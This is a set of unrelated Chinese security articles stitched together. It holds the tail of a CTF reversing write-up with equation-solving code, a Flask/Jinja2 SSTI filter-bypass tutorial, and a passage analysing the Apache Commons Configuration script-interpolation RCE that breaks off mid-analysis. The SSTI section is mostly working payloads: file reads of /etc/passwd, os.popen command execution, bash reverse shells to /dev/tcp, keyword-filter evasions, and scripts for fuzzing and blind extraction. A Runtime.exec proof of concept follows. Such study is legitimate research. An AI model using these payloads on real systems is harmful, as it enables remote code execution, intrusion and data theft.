enFlag[23] = ( input[0]) - ( (input[1])) + ( (input[2])) + ( (input[3])) - ( (input[4])) - ( (input[5])) - ( (input[6])) - ( (input[7])) + ( (input[8])) - ( (input[9])) - ( (input[10])) + ( (input[11])) + ( (input[12])) - ( (input[13])) - ( (input[14])) + ( (input[15])) - ( (input[16])) - ( (input[17])) + ( (input[18])) + ( (input[19])) - ( (input[20])) - ( (input[21])) + ( (input[22])) - ( (input[23])) + ( (input[24])) + ( (input[25])) - ( (input[26])) + ( (input[27])) - ( (input[28])) + ( (input[29])) + ( (input[30])) - ( (input[31])) - ( (input[32])) - ( (input[33])) - ( (input[34])) - ( (input[35])) - ( (input[36])) - ( (input[37])) + ( (input[38])) - ( (input[39])) - ( (input[40])) - ( (input[41]));
enFlag[24] = ( (input[1])) + ( input[0]) - ( (input[2])) + ( (input[3])) + ( (input[4])) - ( (input[5])) + ( (input[6])) + ( (input[7])) - ( (input[8])) + ( (input[9])) + ( (input[10])) - ( (input[11])) - ( (input[12])) - ( (input[13])) - ( (input[14])) + ( (input[15])) + (( (input[16])) + ( (input[17]))) - ( (input[18])) + ( (input[19])) + (( (input[20])) + ( (input[21]))) + (( (input[22])) + ( (input[23])) + (( (input[24])) + ( (input[25])))) - ( (input[26])) - ( (input[27])) - ( (input[28])) + ( (input[29])) + ( (input[30])) - ( (input[31])) + ( (input[32])) + (( (input[33])) + ( (input[34]))) - ( (input[35])) - ( (input[36])) - ( (input[37])) - ( (input[38])) + ( (input[39])) + ( (input[40])) - ( (input[41]));
enFlag[25] = ( input[0]) - ( (input[1])) + ( (input[2])) + ( (input[3])) - ( (input[4])) + ( (input[5])) + ( (input[6])) - ( (input[7])) + ( (input[8])) + (( (input[9])) + ( (input[10]))) - ( (input[11])) - ( (input[12])) + ( (input[13])) - ( (input[14])) + ( (input[15])) - ( (input[16])) + ( (input[17])) + (( (input[18])) + ( (input[19]))) - ( (input[20])) - ( (input[21])) + ( (input[22])) + ( (input[23])) - ( (input[24])) - ( (input[25])) + ( (input[26])) - ( (input[27])) + ( (input[28])) - ( (input[29])) + ( (input[30])) - ( (input[31])) - ( (input[32])) + ( (input[33])) - ( (input[34])) - ( (input[35])) - ( (input[36])) - ( (input[37])) + ( (input[38])) - ( (input[39])) + ( (input[40])) + ( (input[41]));
enFlag[26] = ( (input[1])) + ( (input[2])) + (( (input[3])) + ( (input[4]))) + ( input[0]) - ( (input[5])) - ( (input[6])) + ( (input[7])) - ( (input[8])) - ( (input[9])) - ( (input[10])) - ( (input[11])) + ( (input[12])) - ( (input[13])) + ( (input[14])) - ( (input[15])) + ( (input[16])) - ( (input[17])) + ( (input[18])) - ( (input[19])) - ( (input[20])) + ( (input[21])) + (( (input[22])) + ( (input[23]))) + (( (input[24])) + ( (input[25]))) - ( (input[26])) - ( (input[27])) - ( (input[28])) - ( (input[29])) + ( (input[30])) + ( (input[31])) - ( (input[32])) - ( (input[33])) - ( (input[34])) + ( (input[35])) + ( (input[36])) - ( (input[37])) - ( (input[38])) + ( (input[39])) + (( (input[40])) + ( (input[41])));
enFlag[27] = ( input[0]) - ( (input[1])) + ( (input[2])) - ( (input[3])) + ( (input[4])) - ( (input[5])) - ( (input[6])) - ( (input[7])) - ( (input[8])) - ( (input[9])) - ( (input[10])) - ( (input[11])) + ( (input[12])) + ( (input[13])) - ( (input[14])) + ( (input[15])) + (( (input[16])) + ( (input[17]))) + (( (input[18])) + ( (input[19]))) - ( (input[20])) - ( (input[21])) - ( (input[22])) - ( (input[23])) + ( (input[24])) + (( (input[25])) + ( (input[26]))) - ( (input[27])) + ( (input[28])) + (( (input[29])) + ( (input[30]))) - ( (input[31])) - ( (input[32])) - ( (input[33])) - ( (input[34])) + ( (input[35])) - ( (input[36])) - ( (input[37])) - ( (input[38])) - ( (input[39])) - ( (input[40])) - ( (input[41]));
enFlag[28] = ( input[0]) - ( (input[1])) + ( (input[2])) + (( (input[3])) + ( (input[4]))) - ( (input[5])) + ( (input[6])) + ( (input[7])) - ( (input[8])) - ( (input[9])) + ( (input[10])) + ( (input[11])) - ( (input[12])) + ( (input[13])) - ( (input[14])) + ( (input[15])) - ( (input[16])) + ( (input[17])) + (( (input[18])) + ( (input[19]))) - ( (input[20])) - ( (input[21])) + ( (input[22])) - ( (input[23])) - ( (input[24])) - ( (input[25])) - ( (input[26])) + ( (input[27])) - ( (input[28])) - ( (input[29])) - ( (input[30])) + ( (input[31])) - ( (input[32])) - ( (input[33])) + ( (input[34])) + (( (input[35])) + ( (input[36]))) - ( (input[37])) - ( (input[38])) + ( (input[39])) + (( (input[40])) + ( (input[41])));
enFlag[29] = ( (input[1])) + ( input[0]) - ( (input[2])) - ( (input[3])) - ( (input[4])) + ( (input[5])) + (( (input[6])) + ( (input[7]))) - ( (input[8])) + ( (input[9])) - ( (input[10])) - ( (input[11])) + ( (input[12])) - ( (input[13])) + ( (input[14])) + ( (input[15])) - ( (input[16])) + ( (input[17])) + ( (input[18])) - ( (input[19])) + ( (input[20])) + (( (input[21])) + ( (input[22]))) + ( (input[23])) - ( (input[24])) + ( (input[25])) + ( (input[26])) - ( (input[27])) + ( (input[28])) + (( (input[29])) + ( (input[30]))) + (( (input[31])) + ( (input[32]))) - ( (input[33])) - ( (input[34])) + ( (input[35])) + ( (input[36])) - ( (input[37])) + ( (input[38])) + ( (input[39])) - ( (input[40])) + ( (input[41]));
enFlag[30] = ( (input[1])) + ( (input[2])) + (( (input[3])) + ( input[0])) - ( (input[4])) - ( (input[5])) - ( (input[6])) - ( (input[7])) + ( (input[8])) + ( (input[9])) - ( (input[10])) - ( (input[11])) - ( (input[12])) + ( (input[13])) - ( (input[14])) - ( (input[15])) + ( (input[16])) - ( (input[17])) - ( (input[18])) - ( (input[19])) + ( (input[20])) - ( (input[21])) - ( (input[22])) + ( (input[23])) + ( (input[24])) - ( (input[25])) - ( (input[26])) + ( (input[27])) - ( (input[28])) - ( (input[29])) - ( (input[30])) - ( (input[31])) - ( (input[32])) - ( (input[33])) - ( (input[34])) + ( (input[35])) + (( (input[36])) + ( (input[37]))) - ( (input[38])) + ( (input[39])) + (( (input[40])) + ( (input[41])));
enFlag[31] = ( (input[1])) + ( input[0]) - ( (input[2])) + ( (input[3])) + ( (input[4])) - ( (input[5])) - ( (input[6])) + ( (input[7])) + (( (input[8])) + ( (input[9]))) + (( (input[10])) + ( (input[11])) + ( (input[12]))) - ( (input[13])) - ( (input[14])) - ( (input[15])) + ( (input[16])) + (( (input[17])) + ( (input[18]))) + ( (input[19])) - ( (input[20])) + ( (input[21])) - ( (input[22])) + ( (input[23])) - ( (input[24])) - ( (input[25])) + ( (input[26])) + ( (input[27])) - ( (input[28])) + ( (input[29])) - ( (input[30])) - ( (input[31])) - ( (input[32])) + ( (input[33])) - ( (input[34])) + ( (input[35])) - ( (input[36])) + ( (input[37])) - ( (input[38])) + ( (input[39])) - ( (input[40])) - ( (input[41]));
enFlag[32] = ( input[0]) - ( (input[1])) + ( (input[2])) + ( (input[3])) - ( (input[4])) + ( (input[5])) + (( (input[6])) + ( (input[7]))) + ( (input[8])) - ( (input[9])) + ( (input[10])) + ( (input[11])) - ( (input[12])) + ( (input[13])) + ( (input[14])) - ( (input[15])) + ( (input[16])) - ( (input[17])) + ( (input[18])) + (( (input[19])) + ( (input[20]))) - ( (input[21])) - ( (input[22])) + ( (input[23])) - ( (input[24])) + ( (input[25])) + (( (input[26])) + ( (input[27]))) - ( (input[28])) - ( (input[29])) - ( (input[30])) - ( (input[31])) - ( (input[32])) - ( (input[33])) + ( (input[34])) + (( (input[35])) + ( (input[36]))) + ( (input[37])) - ( (input[38])) + ( (input[39])) - ( (input[40])) + ( (input[41]));
enFlag[33] = ( input[0]) - ( (input[1])) - ( (input[2])) + ( (input[3])) + (( (input[4])) + ( (input[5]))) + ( (input[6])) - ( (input[7])) - ( (input[8])) + ( (input[9])) + (( (input[10])) + ( (input[11]))) - ( (input[12])) - ( (input[13])) + ( (input[14])) + ( (input[15])) - ( (input[16])) + ( (input[17])) - ( (input[18])) + ( (input[19])) - ( (input[20])) + ( (input[21])) + (( (input[22])) + ( (input[23]))) - ( (input[24])) - ( (input[25])) + ( (input[26])) + ( (input[27])) - ( (input[28])) + ( (input[29])) - ( (input[30])) - ( (input[31])) - ( (input[32])) - ( (input[33])) - ( (input[34])) - ( (input[35])) + ( (input[36])) - ( (input[37])) + ( (input[38])) - ( (input[39])) - ( (input[40])) - ( (input[41]));
enFlag[34] = ( (input[1])) + ( input[0]) - ( (input[2])) + ( (input[3])) - ( (input[4])) - ( (input[5])) - ( (input[6])) + ( (input[7])) + (( (input[8])) + ( (input[9]))) + (( (input[10])) + ( (input[11]))) - ( (input[12])) - ( (input[13])) - ( (input[14])) + ( (input[15])) - ( (input[16])) + ( (input[17])) - ( (input[18])) + ( (input[19])) - ( (input[20])) - ( (input[21])) + ( (input[22])) + ( (input[23])) - ( (input[24])) - ( (input[25])) + ( (input[26])) + (( (input[27])) + ( (input[28]))) + ( (input[29])) - ( (input[30])) - ( (input[31])) - ( (input[32])) - ( (input[33])) - ( (input[34])) - ( (input[35])) - ( (input[36])) + ( (input[37])) + (( (input[38])) + ( (input[39]))) - ( (input[40])) - ( (input[41]));
enFlag[35] = ( input[0]) - ( (input[1])) + ( (input[2])) + (( (input[3])) + ( (input[4]))) - ( (input[5])) - ( (input[6])) + ( (input[7])) + ( (input[8])) - ( (input[9])) - ( (input[10])) + ( (input[11])) + (( (input[12])) + ( (input[13]))) - ( (input[14])) - ( (input[15])) + ( (input[16])) - ( (input[17])) + ( (input[18])) + ( (input[19])) - ( (input[20])) - ( (input[21])) - ( (input[22])) + ( (input[23])) + ( (input[24])) - ( (input[25])) - ( (input[26])) + ( (input[27])) + ( (input[28])) - ( (input[29])) - ( (input[30])) + ( (input[31])) + ( (input[32])) - ( (input[33])) + ( (input[34])) + (( (input[35])) + ( (input[36]))) + (( (input[37])) + ( (input[38])) + ( (input[39]))) - ( (input[40])) - ( (input[41]));
enFlag[36] = ( (input[1])) + ( (input[2])) + ( input[0]) - ( (input[3])) - ( (input[4])) - ( (input[5])) - ( (input[6])) + ( (input[7])) + (( (input[8])) + ( (input[9]))) - ( (input[10])) + ( (input[11])) + ( (input[12])) - ( (input[13])) + ( (input[14])) + (( (input[15])) + ( (input[16]))) + (( (input[17])) + ( (input[18])) + (( (input[19])) + ( (input[20])))) + ( (input[21])) - ( (input[22])) - ( (input[23])) + ( (input[24])) - ( (input[25])) - ( (input[26])) - ( (input[27])) - ( (input[28])) + ( (input[29])) + (( (input[30])) + ( (input[31]))) + ( (input[32])) - ( (input[33])) - ( (input[34])) - ( (input[35])) - ( (input[36])) + ( (input[37])) - ( (input[38])) + ( (input[39])) + ( (input[40])) - ( (input[41]));
enFlag[37] = ( input[0]) - ( (input[1])) - ( (input[2])) + ( (input[3])) - ( (input[4])) + ( (input[5])) - ( (input[6])) - ( (input[7])) - ( (input[8])) - ( (input[9])) + ( (input[10])) - ( (input[11])) - ( (input[12])) - ( (input[13])) - ( (input[14])) - ( (input[15])) - ( (input[16])) + ( (input[17])) + ( (input[18])) - ( (input[19])) - ( (input[20])) - ( (input[21])) + ( (input[22])) - ( (input[23])) + ( (input[24])) - ( (input[25])) - ( (input[26])) + ( (input[27])) - ( (input[28])) - ( (input[29])) + ( (input[30])) + ( (input[31])) - ( (input[32])) + ( (input[33])) - ( (input[34])) + ( (input[35])) - ( (input[36])) - ( (input[37])) + ( (input[38])) - ( (input[39])) - ( (input[40])) - ( (input[41]));
enFlag[38] = ( (input[1])) + ( (input[2])) + (( (input[3])) + ( input[0])) - ( (input[4])) + ( (input[5])) + (( (input[6])) + ( (input[7]))) - ( (input[8])) - ( (input[9])) - ( (input[10])) + ( (input[11])) + (( (input[12])) + ( (input[13]))) - ( (input[14])) - ( (input[15])) - ( (input[16])) - ( (input[17])) - ( (input[18])) - ( (input[19])) + ( (input[20])) + ( (input[21])) - ( (input[22])) + ( (input[23])) + (( (input[24])) + ( (input[25]))) + (( (input[26])) + ( (input[27]))) - ( (input[28])) - ( (input[29])) + ( (input[30])) + ( (input[31])) - ( (input[32])) - ( (input[33])) + ( (input[34])) - ( (input[35])) - ( (input[36])) - ( (input[37])) + ( (input[38])) + (( (input[39])) + ( (input[40]))) - ( (input[41]));
enFlag[39] = ( input[0]) - ( (input[1])) - ( (input[2])) - ( (input[3])) - ( (input[4])) + ( (input[5])) - ( (input[6])) - ( (input[7])) - ( (input[8])) + ( (input[9])) - ( (input[10])) + ( (input[11])) - ( (input[12])) + ( (input[13])) + ( (input[14])) - ( (input[15])) - ( (input[16])) - ( (input[17])) + ( (input[18])) + (( (input[19])) + ( (input[20]))) + (( (input[21])) + ( (input[22]))) - ( (input[23])) + ( (input[24])) + (( (input[25])) + ( (input[26]))) + (( (input[27])) + ( (input[28]))) - ( (input[29])) + ( (input[30])) + (( (input[31])) + ( (input[32]))) + (( (input[33])) + ( (input[34]))) - ( (input[35])) - ( (input[36])) + ( (input[37])) + (( (input[38])) + ( (input[39]))) - ( (input[40])) + ( (input[41]));
enFlag[40] = ( input[0]) - ( (input[1])) - ( (input[2])) - ( (input[3])) + ( (input[4])) + (( (input[5])) + ( (input[6]))) - ( (input[7])) + ( (input[8])) + ( (input[9])) - ( (input[10])) + ( (input[11])) - ( (input[12])) - ( (input[13])) - ( (input[14])) + ( (input[15])) + (( (input[16])) + ( (input[17]))) + (( (input[18])) + ( (input[19])) + (( (input[20])) + ( (input[21])))) + ( (input[22])) - ( (input[23])) + ( (input[24])) + ( (input[25])) - ( (input[26])) + ( (input[27])) + ( (input[28])) - ( (input[29])) + ( (input[30])) + (( (input[31])) + ( (input[32]))) - ( (input[33])) - ( (input[34])) + ( (input[35])) + ( (input[36])) - ( (input[37])) + ( (input[38])) + (( (input[39])) + ( (input[40]))) + ( (input[41]));
enFlag[41] = ( (input[1])) + ( (input[2])) + (( (input[3])) + ( (input[4]))) + (( (input[5])) + ( (input[6])) + ( input[0])) - ( (input[7])) - ( (input[8])) - ( (input[9])) + ( (input[10])) + ( (input[11])) - ( (input[12])) + ( (input[13])) - ( (input[14])) - ( (input[15])) - ( (input[16])) - ( (input[17])) - ( (input[18])) - ( (input[19])) + ( (input[20])) - ( (input[21])) + ( (input[22])) - ( (input[23])) - ( (input[24])) + ( (input[25])) + (( (input[26])) + ( (input[27]))) + ( (input[28])) - ( (input[29])) - ( (input[30])) - ( (input[31])) - ( (input[32])) - ( (input[33])) - ( (input[34])) - ( (input[35])) - ( (input[36])) - ( (input[37])) - ( (input[38])) - ( (input[39])) - ( (input[40])) + ( (input[41]));
最后求解该42元非齐次线性方程组即可，但被z3狠狠的坑了一把，不知道是不是姿势有问题就是跑不出来。虽然42阶，但行列式值也不至于很难算，使用克拉默法则直接都能手算出方程组的解。最终使用Octave录入增广矩阵秒求出方程组解，flappy师傅使用numpy也解出了方程组，篇幅关系就不贴具体代码了。得到方程组解后再解密一次即可得到flag
solution=[154,171,24,161,54,222,172,116,129,18,139,152,127,247,36,124,43,90,97,138,238,95,141,237,26,227,152,154,167,54,141,166,139,66,216,129,94,164,69,188,33,194]
flag=''
for i in range(len(solution)):
v2=solution[i]^i
v3=v2>>3 | (v2<<5)%256
solution[i]=v3
flag += chr(solution[i])
print flag
### rev
程序需要输入三段数据，中间用特殊字符隔断，其中第一段必须为10位，第二段必须为4位，第三段不超过10位
第一段数据存在异或校验，结合前面的汇编代码可以推出第一段数据为
11111suctf
以上四处代码不难得出，第二段数据必须是大写字母“ABCDEFG”中的四个，为
ACEG
第三段数据不能超过十位，必须为数字，且满足上图运算，使用z3约束求解
from z3 import *
s = Solver()
X = [BitVec(('x%s' % i),32) for i in range(1) ]
s.add(((1234 * X[0] + 5678) / 4396 ) == 0x6403)
s.add(((2334 * X[0] + 9875) / 7777) == 0x9be0)
print s.check()
m = s.model()
print "traversing model..."
for i in range(1):
print int("%s" % (m[X[i]])), | 社区文章 |
# SSTI漏洞学习（下）——Flask/Jinja模板引擎的相关绕过
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 再看寻找Python SSTI攻击载荷的过程
获取基本类
对于返回的是定义的Class内的话:
__dict__ //返回类中的函数和属性，父类子类互不影响
__base__ //返回类的父类 python3
__mro__ //返回类继承的元组，(寻找父类) python3
__init__ //返回类的初始化方法
__subclasses__() //返回类中仍然可用的引用 python3
__globals__ //对包含函数全局变量的字典的引用 python3
对于返回的是类实例的话:
__class__ //返回实例的对象，可以使类实例指向Class，使用上面的魔术方法
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
此外，在引入了Flask/Jinja的相关模块后还可以通过
config
request
url_for
get_flashed_messages
self
redirect
等获取基本类,
获取基本类后，继续向下获取基本类(object)的子类
object.__subclasses__()
找到重载过的`__init__`类
在获取初始化属性后，带wrapper的说明没有重载，寻找不带warpper的
也可以利用`.index()`去找`file`,`warnings.catch_warnings`
>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>
查看其引用`__builtins__`
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
这里会返回dict类型，寻找keys中可用函数，直接调用即可，使用keys中的file等函数来实现读取文件的功能
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
常用的目标函数有这么几个
file
subprocess.Popen
os.popen
exec
eval
常用的中间对象有这么几个
catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
lipsum.__globals__.__builtins__.open("/flag").read()
linecache.os.system('ls')
更多的可利用类可以通过遍历筛选的方式找到
比如对`subprocess.Popen`我们可以构造如下fuzz脚本
import requests
url = ""
index = 0
for i in range(100, 1000):
#print i
payload = "{{''.__class__.__mro__[2].__subclasses__()[%d]}}" % (i)
params = {
"search": payload
}
#print(params)
req = requests.get(url,params=params)
#print(req.text)
if "subprocess.Popen" in req.text:
index = i
break
print("index of subprocess.Popen:" + str(index))
print("payload:{{''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()}}" % i)
那么我们也可以利用`{%for%}`语句块来在服务端进行fuzz
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}
{% endif %}
{% endfor %}
## 0x02 一些Trick
* Python 字符的几种表示方式
* 16进制 `\x41`
* 8进制 `\101`
* unicode `\u0074`
* base64 `'X19jbGFzc19f'.decode('base64')` python3
* join `"fla".join("/g")`
* slice `"glaf"[::-1]`
* lower/upper `["__CLASS__"|lower`
* format `"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)`
* replace `"__claee__"|replace("ee","ss")`
* reverse `"__ssalc__"|reverse`
* python字典或列表获取键值或下标的几种方式
dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)
* SSTI 获取对象元素的几种方式
* `class.attr`
* `class.__getattribute__('attr')`
* `class['attr']`
* `class|attr('attr')`
* `"".__class__.__mro__.__getitem__(2)`
* `['__builtins__'].__getitem__('eval')`
* `class.pop(40)`
* request 旁路注入
request.args.name #GET name
request.cookies.name #COOKIE name
request.headers.name #HEADER name
request.values.name #POST or GET Name
request.form.name #POST NAME
request.json #Content-Type json
* 通过拿到`current_app`这个对象获取当前`flask App`的上下文信息，实现config读取
比如
{{url_for.__globals__.current_app.config}}
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config.}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].cofig}}
## 0x03 Bypass的手段
在对Jinjia SSTI注入时，本质是在Jinja的沙箱中进行代码注入，因此很多绕过技巧和python沙箱逃逸是共通的
### {{}}模板标签过滤
* `{% if xxx %}xxx{% endif %}`形式
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1') %}1{% endif %}
* {% print xxx %} 形式
{% print ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
### 关键词过滤
**base64编码绕过**
`__getattribute__`使用实例访问属性时,调用该方法
例如被过滤掉 **class** 关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
**字符串拼接绕过**
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
**利用dict拼接**
{% set a=dict(o=x,s=xx)|join %}
**利用string**
比如`'`可以用下面方式拿到，存放在`quote`中
{% set quote = ((app.__doc__|list()).pop(337)|string())%}
类似的还有
{% set sp = ((app.__doc__|list()).pop(102)|string)%}
{% set pt = ((app.__doc__|list()).pop(320)|string)%}
{% set lb = ((app.__doc__|list()).pop(264)|string)%}
{% set rb = ((app.__doc__|list()).pop(286)|string)%}
{% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}
{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}
通过`~`可以将得到的字符连接起来
一个eval的payload如下所示
{% set xhx = (({ }|select()|string|list()).pop(24)|string)%}
{% set sp = ((app.__doc__|list()).pop(102)|string)%}
{% set pt = ((app.__doc__|list()).pop(320)|string)%}
{% set quote = ((app.__doc__|list()).pop(337)|string)%}
{% set lb = ((app.__doc__|list()).pop(264)|string)%}
{% set rb = ((app.__doc__|list()).pop(286)|string)%}
{% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}
{% set bu = dict(buil=x,tins=xx)|join %}
{% set im = dict(imp=x,ort=xx)|join %}
{% set sy = dict(po=x,pen=xx)|join %}
{% set oms = dict(o=x,s=xx)|join %}
{% set fl4g = dict(f=x,lag=xx)|join %}
{% set ca = dict(ca=x,t=xx)|join %}
{% set ev = dict(ev=x,al=xx)|join %}
{% set red = dict(re=x,ad=xx)|join%}
{% set bul = xhx*2~bu~xhx*2 %}
{% set payload = xhx*2~im~xhx*2~lb~quote~oms~quote~rb~pt~sy~lb~quote~ca~sp~slas~fl4g~quote~rb~pt~red~lb~rb %}
可以在`eval`或`exec`语句中使用，如下
{% for f,v in eki.__init__.__globals__.items() %}
{% if f == bul %}
{% for a,b in v.items() %}
{% set x=a%}
{% if a == ev %}
{{b(payload)}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
**Python3 对Unicode的Normal化**
比如
可以绕过数字限制
同时在python3中会对unicode normalize，导致exec可以执行unicode代码
**Python的格式化字符串特性**
比如
'{0:c}'['format'](95)
{ "%s, %s!"|format(greeting, name) }}
拼接起来有
{{""['{0:c}'['format'](95)+'{0:c}'['format'](95)+'{0:c}'['format'](99)+'{0:c}'['format'](108)+'{0:c}'['format'](97)+'{0:c}'['format'](115)+'{0:c}'['format'](115)+'{0:c}'['format'](95)+'{0:c}'['format'](95)]}}
**getlist**
使用`.getlist()`方法获得一个列表，这个列表的参数可以在后面传递
{%print (request.args.getlist(request.args.l)|join)%}&l=a&a=_&a=_&a=class&a=_&a=_
可以获得`__class__`
### 特殊字符过滤
**过滤引号**
`request.args` 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤
将其中的`request.args`改为`request.values`则利用`REQUEST`的方式进行传参
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
**过滤双下划线**
同样利用`request.args`属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
#GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
#POST:
class=__class__&mro=__mro__&subclasses=__subclasses__
**过滤`.`/`[]`**
这里对获取元素方法属性进行了限制，那么我们可以使用上面Trick中介绍的获取对象元素的几种方式进行绕过
比如用原生JinJa2函数`|attr()`
将`request.__class__`改成`request|attr("__class__")`
**同时绕过下划线、与中括号**
综合之前的Trick利用就行
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/etc/passwd')|attr(request.values.name5)()}}post:name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read
**过滤圆括号**
* 对函数执行方式进行重载,比如将
`request.__class__.__getitem__=__builtins__.exec;`
那么执行`request[payload]`时就相当于`exec(payload)`了
* 使用lambda表达式进行绕过
### 对象层面禁用
* `set {}=None`
只能设置该对象为None，通过其他引用同样可以找到该对象
{{% set config=None%}} -> {{url_for.__globals__.current_app.config}}
* del
del __builtins__.__dict__['__import__']
通过`reload`进行重载
reload(__builtins__)
* 其他一些小trick
比如`func.__code__.co_consts` 可以获得对应函数的上下文常量
## 0x04 盲注
盲注一般有如下几种思路
* 反弹shell
通过rce反弹一个shell出来绕过无回显的页面
* 带外注入
通过requestbin或dnslog的方式将信息传到外界
* 纯盲注
利用index方法
> Python index() 方法检测字符串中是否包含子字符串 str ，如果指定 beg（开始） 和 end（结束）
> 范围，则检查是否包含在指定范围内，该方法与 python find()方法一样，只不过如果str不在 string中会报一个异常。
比如
{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()|string).index("r",0,3)}}
如果`/etc/passwd`的第一个字符是`r`那么就不会触发异常，如果不是就会触发异常，根据这个特点可以进行盲注
如下是一个盲注脚本
import requests
from string import printable as pt
host = "http://127.0.0.1:8765/"
res = ''
for i in range(0,40):
for c in pt:
payload = '{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__["__builtins__"]["file"]("/etc/passwd").read()|string).index("%c",%d,%d)}}' % (c,i,i+1)
param = {
"name":payload
}
req = requests.get(host,params=param)
if req.status_code == 200:
res += c
break
print(res)
## 参考资料
<https://xz.aliyun.com/t/8029>
<https://blog.csdn.net/miuzzx/article/details/110220425>
<https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E7%B1%BB%E7%BB%A7%E6%89%BF%E4%BD%BF%E7%94%A8>
<https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/> | 社区文章 |
## 前言
最近注意到了Apache Commons Configuration 在2.7版本已经不安全了,能够直接影响该组件，来分析学一下漏洞原理
## 漏洞分析
### 前置
Commons
Configuration是一个java应用程序的配置管理类库。可以从properties或者xml文件中加载软件的配置信息，用来构建支撑软件运行的基础环境。在一些配置文件较多较的复杂的情况下，使用该配置工具比较可以简化配置文件的解析和管理。也提高了开发效率和软件的可维护性。
它目前支持的配置文件格式有:
Properties files
XML documents
Windows INI files
Property list files (plist)
JNDI等等
根据官方给出的漏洞通报
<https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s>
明白这个CVE的漏洞点是在变量插值中造成的
那么什么是变量插值呢？
在`commons-configuration2`来说，变量插值，就类似于引用动态变量的方式，就好比，如果我们需要获取系统中的某个环境变量，我们可以在配置文件中使用`${env:envname}`,
如果需要获取用户根目录，同样可以通过`${sys:user.home}`
我们可以跟进一下源码，看看这种写法是在哪里解析的
他主要是在`org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate`中对这种写法进行解析，赋予其对应的值
从注释中我们可以知道对于变量的插值，如果这个值他是字符串类型的，他将会检查时候包含有变量，如果有，将会替换这个变量，如果没有就按照源String返回
所以我们同样可以通过使用该方法进行变量插值的使用
package pers.test_01;
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class Commons_Configuration2_Test {
public static void main(String[] args) {
InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
.withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
.create();
//创建示例
ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
// 解析字符串
System.out.println("${env:JAVA_HOME}->" + configurationInterpolator.interpolate("${env:JAVA_HOME}"));
}
}
同样可以使用这种变量插值
### 影响范围
2.4 ~ 2.7
### 漏洞
首先引入Commons-Configuration的依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.7</version>
</dependency>
我们从之前的漏洞通告可以知道，由`script`将会导致JVM脚本执行
我们debug分析一下他的流程
System.out.println("${Script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")} ->" + configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));
我们在前面说的在`interpolate`方法中打下断点
传入了变量插值的值，首先判断他是否是String的实例，之后将会调用`looksLikeSingleVariable`进行判断格式是否正确
之后成功达到了`resolveSingleVariable`的调用
我们跟进`extractVariableName`方法，在该方法中，他将去掉`${}`等字符，取出变量值
之后调用`resolve`进行处理
在该方法中，他将分别取出`prefix` `name` `value`字段
通过调用`fetchLookupForPrefix`方法传入`prefix`，取出对应的LookUp对象
直接从`prefixLookups`这个Map对象属性中获取对应的`StringLookupAdapter`类
之后我们紧跟着调用了lookup方法
这里也可以知道对应的stringLookup为`ScriptLookup`类对象，跟进其lookup方法的调用
